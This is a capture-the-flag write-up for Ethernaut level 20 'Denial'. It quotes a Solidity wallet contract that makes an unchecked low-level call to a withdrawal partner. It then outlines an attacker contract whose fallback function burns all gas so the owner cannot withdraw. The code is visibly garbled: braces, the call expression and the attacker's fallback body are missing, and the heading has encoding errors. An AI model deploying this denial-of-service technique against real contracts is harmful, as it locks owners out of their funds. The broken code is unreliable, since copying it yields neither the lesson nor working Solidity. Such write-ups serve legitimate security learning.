Ethernaut - 20. Denial

Difficulty: πŸŒ•πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share{value:amountToSend}("");
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;


There is a line{value:amountToSend}(""); in the function withdraw(). So we can create a parner contract and write some malicious code in fallback function to drain all gas.

  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
     interface IDenial {
         function withdraw() external;
         function setWithdrawPartner(address _partner) external;
     contract DenialAttacker {
         fallback () external payable {
  3. Compile and deploy.
  4. Call setWithdrawPartner method.
     await contract.setWithdrawPartner('YOUR_DENIALATTACKER_CONTRACT_ADDRESS')
  5. Submit instance ΞΎ( βœΏοΌžβ—‘β›)